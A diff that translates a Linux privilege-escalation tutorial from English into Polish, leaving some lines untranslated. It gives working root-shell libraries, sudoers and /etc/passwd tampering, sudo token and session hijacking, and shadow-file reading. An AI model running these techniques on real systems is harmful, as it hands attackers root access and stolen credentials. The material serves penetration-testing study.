łatwiejsze: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` +**Środki zaradcze**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) - -### Sudo command/SUID binary without command path - -If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable +### Komenda Sudo/binary SUID bez ścieżki komendy +Jeśli **uprawnienie sudo** jest przyznane do pojedynczej komendy **bez określenia ścieżki**: _hacker10 ALL= (root) less_, możesz to wykorzystać, zmieniając zmienną PATH. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` +Ta technika może być również używana, jeśli **suid** binarny **wykonuje inne polecenie bez określenia ścieżki do niego (zawsze sprawdzaj za pomocą** _**strings**_ **zawartość dziwnego binarnego pliku SUID)**. -This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**. +[Przykłady ładunków do wykonania.](payloads-to-execute.md) -[Payload examples to execute.](payloads-to-execute.md) +### Binarne pliki SUID z określoną ścieżką do polecenia -### SUID binary with command path - -If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. - -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +Jeśli **suid** binarny **wykonuje inne polecenie, określając ścieżkę**, wtedy możesz spróbować **wyeksportować funkcję** o nazwie odpowiadającej poleceniu, które wywołuje plik suid. +Na przykład, jeśli binarny plik suid wywołuje _**/usr/sbin/service apache2 start**_, musisz spróbować stworzyć funkcję i ją wyeksportować: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` - -Then, when you call the suid binary, this function will be executed +Wtedy, gdy wywołasz binarny plik suid, ta funkcja zostanie wykonana ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +Zmienna środowiskowa **LD_PRELOAD** jest używana do określenia jednej lub więcej bibliotek współdzielonych (.so) do załadowania przez loadera przed wszystkimi innymi, w tym standardową biblioteką C (`libc.so`). Proces ten nazywa się preładowaniem biblioteki. -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku plików wykonywalnych **suid/sgid**, system egzekwuje pewne warunki: -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. - -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, gdzie rzeczywisty identyfikator użytkownika (_ruid_) nie pasuje do efektywnego identyfikatora użytkownika (_euid_). +- Dla plików wykonywalnych z suid/sgid, tylko biblioteki w standardowych ścieżkach, które są również suid/sgid, są preładowane. +Podniesienie uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń z `sudo`, a wynik `sudo -l` zawiera stwierdzenie **env_keep+=LD_PRELOAD**. Ta konfiguracja pozwala na utrzymanie zmiennej środowiskowej **LD_PRELOAD** i jej rozpoznawanie, nawet gdy polecenia są uruchamiane z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami. ``` Defaults env_keep += LD_PRELOAD ``` - -Save as **/tmp/pe.c** - +Zapisz jako **/tmp/pe.c** ```c #include #include #include void _init() { - unsetenv("LD_PRELOAD"); - setgid(0); - setuid(0); - system("/bin/bash"); +unsetenv("LD_PRELOAD"); +setgid(0); +setuid(0); +system("/bin/bash"); } ``` - -Then **compile it** using: - +Następnie **skompiluj to** używając: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - -Finally, **escalate privileges** running - +W końcu, **escalate privileges** uruchamiając ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` - > [!CAUTION] -> A similar privesc can be abused if the attacker controls the **LD_LIBRARY_PATH** env variable because he controls the path where libraries are going to be searched. - +> Podobne privesc może być nadużywane, jeśli atakujący kontroluje zmienną środowiskową **LD_LIBRARY_PATH**, ponieważ kontroluje ścieżkę, w której będą wyszukiwane biblioteki. ```c #include #include @@ -957,9 +822,9 @@ sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo static void hijack() __attribute__((constructor)); void hijack() { - unsetenv("LD_LIBRARY_PATH"); - setresuid(0,0,0); - system("/bin/bash -p"); +unsetenv("LD_LIBRARY_PATH"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` @@ -969,19 +834,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` - ### SUID Binary – .so injection -When encountering a binary with **SUID** permissions that seems unusual, it's a good practice to verify if it's loading **.so** files properly. This can be checked by running the following command: - +Kiedy napotkasz binarkę z uprawnieniami **SUID**, która wydaje się nietypowa, dobrym zwyczajem jest sprawdzenie, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` +Na przykład napotkanie błędu takiego jak _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeruje potencjał do wykorzystania. -For instance, encountering an error like _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggests a potential for exploitation. - -To exploit this, one would proceed by creating a C file, say _"/path/to/.config/libcalc.c"_, containing the following code: - +Aby to wykorzystać, należy utworzyć plik C, powiedzmy _"/path/to/.config/libcalc.c"_, zawierający następujący kod: ```c #include #include @@ -989,22 +850,18 @@ To exploit this, one would proceed by creating a C file, say _"/path/to/.config/ static void inject() __attribute__((constructor)); void inject(){ - system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); +system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` +Ten kod, po skompilowaniu i wykonaniu, ma na celu podniesienie uprawnień poprzez manipulację uprawnieniami plików i uruchomienie powłoki z podniesionymi uprawnieniami. -This code, once compiled and executed, aims to elevate privileges by manipulating file permissions and executing a shell with elevated privileges. - -Compile the above C file into a shared object (.so) file with: - +Skompiluj powyższy plik C do pliku obiektu współdzielonego (.so) za pomocą: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` +Ostatecznie uruchomienie dotkniętego binarnego pliku SUID powinno wywołać exploit, co może prowadzić do kompromitacji systemu. -Finally, running the affected SUID binary should trigger the exploit, allowing for potential system compromise. - -## Shared Object Hijacking - +## Przechwytywanie obiektów współdzielonych ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -1014,9 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` - -Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name: - +Teraz, gdy znaleźliśmy binarny plik SUID ładujący bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o odpowiedniej nazwie: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -1025,24 +880,21 @@ Now that we have found a SUID binary loading a library from a folder where we ca static void hijack() __attribute__((constructor)); void hijack() { - setresuid(0,0,0); - system("/bin/bash -p"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` - -If you get an error such as - +Jeśli otrzymasz błąd taki jak ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` - -that means that the library you have generated need to have a function called `a_function_name`. +to oznacza, że biblioteka, którą wygenerowałeś, musi mieć funkcję o nazwie `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. +[**GTFOBins**](https://gtfobins.github.io) to starannie wyselekcjonowana lista binarnych plików Unix, które mogą być wykorzystywane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. [**GTFOArgs**](https://gtfoargs.github.io/) jest tym samym, ale w przypadkach, gdy możesz **tylko wstrzykiwać argumenty** w poleceniu. -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +Projekt zbiera legalne funkcje binarnych plików Unix, które mogą być nadużywane do wydostawania się z ograniczonych powłok, eskalacji lub utrzymywania podwyższonych uprawnień, transferu plików, uruchamiania powłok bind i reverse oraz ułatwiania innych zadań po eksploatacji. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1055,96 +907,79 @@ The project collects legitimate functions of Unix binaries that can be abused to ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Jeśli masz dostęp do `sudo -l`, możesz użyć narzędzia [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo), aby sprawdzić, czy znajdzie sposób na wykorzystanie jakiejkolwiek reguły sudo. -### Reusing Sudo Tokens +### Ponowne użycie tokenów Sudo -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +W przypadkach, gdy masz **dostęp do sudo**, ale nie znasz hasła, możesz eskalować uprawnienia, **czekając na wykonanie polecenia sudo, a następnie przejmując token sesji**. -Requirements to escalate privileges: +Wymagania do eskalacji uprawnień: -- You already have a shell as user "_sampleuser_" -- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is accessible (you can be able to upload it) +- Już masz powłokę jako użytkownik "_sampleuser_" +- "_sampleuser_" **użył `sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokena sudo, który pozwala nam używać `sudo` bez wprowadzania hasła) +- `cat /proc/sys/kernel/yama/ptrace_scope` to 0 +- `gdb` jest dostępny (możesz go przesłać) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +Jeśli wszystkie te wymagania są spełnione, **możesz eskalować uprawnienia używając:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +- **Pierwszy exploit** (`exploit.sh`) utworzy binarny plik `activate_sudo_token` w _/tmp_. Możesz go użyć do **aktywacji tokena sudo w swojej sesji** (nie otrzymasz automatycznie powłoki root, wykonaj `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` - -- The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid** - +- Drugi exploit (`exploit_v2.sh`) utworzy powłokę sh w _/tmp_ **należącą do roota z ustawionym setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` - -- The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo** - +- **Trzecia eksploitacja** (`exploit_v3.sh`) **utworzy plik sudoers**, który **czyni tokeny sudo wiecznymi i pozwala wszystkim użytkownikom na korzystanie z sudo** ```bash bash exploit_v3.sh sudo su ``` - ### /var/run/sudo/ts/\ -If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) to **create a sudo token for a user and PID**.\ -For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: - +Jeśli masz **uprawnienia do zapisu** w folderze lub w którymkolwiek z utworzonych plików w tym folderze, możesz użyć binarnego [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools), aby **utworzyć token sudo dla użytkownika i PID**.\ +Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz powłokę jako ten użytkownik z PID 1234, możesz **uzyskać uprawnienia sudo** bez potrzeby znajomości hasła, wykonując: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` - ### /etc/sudoers, /etc/sudoers.d -The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\ -**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. - +Plik `/etc/sudoers` oraz pliki w `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root**.\ +**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać interesujące informacje**, a jeśli możesz **zapisać** jakikolwiek plik, będziesz mógł **eskalować uprawnienia**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` - -If you can write you can abuse this permission - +Jeśli potrafisz pisać, możesz nadużyć tego uprawnienia. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` - -Another way to abuse these permissions: - +Inny sposób na nadużycie tych uprawnień: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win # makes it so sudo never times out echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` - ### DOAS -There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` - +Istnieją pewne alternatywy dla binarnego pliku `sudo`, takie jak `doas` dla OpenBSD, pamiętaj, aby sprawdzić jego konfigurację w `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` - ### Sudo Hijacking -If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. +Jeśli wiesz, że **użytkownik zazwyczaj łączy się z maszyną i używa `sudo`** do eskalacji uprawnień, a ty uzyskałeś powłokę w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile), aby gdy użytkownik wykona sudo, twój plik wykonywalny sudo został uruchomiony. -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) - -Or running something like: +Zauważ, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Lub uruchamiając coś takiego: ```bash cat >/tmp/sudo < (0x0068c000) - libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x005bb000) +linux-gate.so.1 => (0x0068c000) +libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x005bb000) ``` - -By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. - +Kopiując bibliotekę do `/var/tmp/flag15/`, będzie ona używana przez program w tym miejscu, zgodnie z określoną zmienną `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 - linux-gate.so.1 => (0x005b0000) - libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x00737000) +linux-gate.so.1 => (0x005b0000) +libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x00737000) ``` - -Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` - +Następnie utwórz złośliwą bibliotekę w `/var/tmp` za pomocą `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { - char *file = SHELL; - char *argv[] = {SHELL,0}; - setresuid(geteuid(),geteuid(), geteuid()); - execve(file,argv,0); +char *file = SHELL; +char *argv[] = {SHELL,0}; +setresuid(geteuid(),geteuid(), geteuid()); +execve(file,argv,0); } ``` - ## Capabilities -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ +Linux capabilities provide a **podzbiór dostępnych uprawnień roota dla procesu**. To skutecznie dzieli uprawnienia roota **na mniejsze i wyraźne jednostki**. Każda z tych jednostek może być następnie niezależnie przyznawana procesom. W ten sposób pełny zestaw uprawnień jest zmniejszany, co zmniejsza ryzyko wykorzystania.\ Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} @@ -1233,60 +1061,49 @@ The **"read"** bit implies the user can **list** the **files**, and the **"write Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Give** user "kali" read and write permissions over a file: - ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` - -**Get** files with specific ACLs from the system: - +**Pobierz** pliki z określonymi ACL z systemu: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` +## Otwarte sesje powłoki -## Open shell sessions +W **starych wersjach** możesz **przejąć** niektóre **sesje powłoki** innego użytkownika (**root**).\ +W **najnowszych wersjach** będziesz mógł **połączyć się** tylko z sesjami ekranu **swojego własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz sesji**. -In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ -In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. - -### screen sessions hijacking - -**List screen sessions** +### przejmowanie sesji ekranu +**Lista sesji ekranu** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` - ![](<../../images/image (141).png>) -**Attach to a session** - +**Dołącz do sesji** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` +## przejmowanie sesji tmux -## tmux sessions hijacking - -This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user. - -**List tmux sessions** +To był problem z **starymi wersjami tmux**. Nie mogłem przejąć sesji tmux (v2.1) utworzonej przez roota jako użytkownik bez uprawnień. +**Lista sesji tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` - ![](<../../images/image (837).png>) -**Attach to a session** - +**Dołącz do sesji** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1296,149 +1113,125 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` - -Check **Valentine box from HTB** for an example. +Sprawdź **Valentine box from HTB** jako przykład. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Wszystkie klucze SSL i SSH generowane na systemach opartych na Debianie (Ubuntu, Kubuntu itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\ +Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukiwać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### Interesujące wartości konfiguracyjne SSH -- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +- **PasswordAuthentication:** Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie jest `no`. +- **PubkeyAuthentication:** Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie jest `yes`. +- **PermitEmptyPasswords**: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer zezwala na logowanie do kont z pustymi ciągami haseł. Domyślnie jest `no`. ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +Określa, czy root może logować się za pomocą ssh, domyślnie jest `no`. Możliwe wartości: -- `yes`: root can login using password and private key -- `without-password` or `prohibit-password`: root can only login with a private key -- `forced-commands-only`: Root can login only using private key and if the commands options are specified -- `no` : no +- `yes`: root może logować się za pomocą hasła i klucza prywatnego +- `without-password` lub `prohibit-password`: root może logować się tylko za pomocą klucza prywatnego +- `forced-commands-only`: Root może logować się tylko za pomocą klucza prywatnego i jeśli opcje poleceń są określone +- `no` : nie ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: - +Określa pliki, które zawierają klucze publiczne, które mogą być używane do uwierzytelniania użytkowników. Może zawierać tokeny takie jak `%h`, które zostaną zastąpione katalogiem domowym. **Możesz wskazać ścieżki absolutne** (zaczynające się od `/`) lub **ścieżki względne od katalogu domowego użytkownika**. Na przykład: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` - -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **prywatnego** klucza użytkownika "**testusername**", ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. - -You need to set this option in `$HOME/.ssh.config` like this: +Przekazywanie agenta SSH pozwala na **używanie lokalnych kluczy SSH zamiast pozostawiania kluczy** (bez haseł!) na twoim serwerze. Dzięki temu będziesz mógł **przeskoczyć** przez ssh **do hosta** i stamtąd **przeskoczyć do innego** hosta **używając** **klucza** znajdującego się w twoim **początkowym hoście**. +Musisz ustawić tę opcję w `$HOME/.ssh.config` w ten sposób: ``` Host example.com - ForwardAgent yes +ForwardAgent yes ``` +Zauważ, że jeśli `Host` to `*`, za każdym razem, gdy użytkownik przeskakuje na inną maszynę, ten host będzie mógł uzyskać dostęp do kluczy (co stanowi problem bezpieczeństwa). -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zabronić tej konfiguracji.\ +Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** przekazywania ssh-agent za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwala). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). - -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Jeśli stwierdzisz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę, ponieważ **możesz być w stanie to wykorzystać do eskalacji uprawnień**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesting Files +## Interesujące pliki -### Profiles files - -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +### Pliki profili +Plik `/etc/profile` oraz pliki w `/etc/profile.d/` to **skrypty, które są wykonywane, gdy użytkownik uruchamia nową powłokę**. Dlatego, jeśli możesz **zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia**. ```bash ls -l /etc/profile /etc/profile.d/ ``` +Jeśli znajdziesz jakikolwiek dziwny skrypt profilu, powinieneś sprawdzić go pod kątem **wrażliwych danych**. -If any weird profile script is found you should check it for **sensitive details**. - -### Passwd/Shadow Files - -Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files: +### Pliki Passwd/Shadow +W zależności od systemu operacyjnego pliki `/etc/passwd` i `/etc/shadow` mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się **znalezienie ich wszystkich** i **sprawdzenie, czy możesz je odczytać**, aby zobaczyć **czy znajdują się w nich hashe**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` - -In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file - +W niektórych przypadkach można znaleźć **hashe haseł** w pliku `/etc/passwd` (lub równoważnym). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` - ### Writable /etc/passwd -First, generate a password with one of the following commands. - +Najpierw wygeneruj hasło za pomocą jednej z następujących komend. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` - -Then add the user `hacker` and add the generated password. - +Następnie dodaj użytkownika `hacker` i dodaj wygenerowane hasło. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` - E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -You can now use the `su` command with `hacker:hacker` - -Alternatively, you can use the following lines to add a dummy user without a password.\ -WARNING: you might degrade the current security of the machine. +Możesz teraz użyć polecenia `su` z `hacker:hacker` +Alternatywnie, możesz użyć następujących linii, aby dodać fikcyjnego użytkownika bez hasła.\ +OSTRZEŻENIE: możesz pogorszyć obecne bezpieczeństwo maszyny. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` +UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` oraz `/etc/master.passwd`, a także `/etc/shadow` jest przemianowane na `/etc/spwd.db`. -NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. - -You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**? - +Powinieneś sprawdzić, czy możesz **zapisać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać w jakimś **plik konfiguracyjny usługi**? 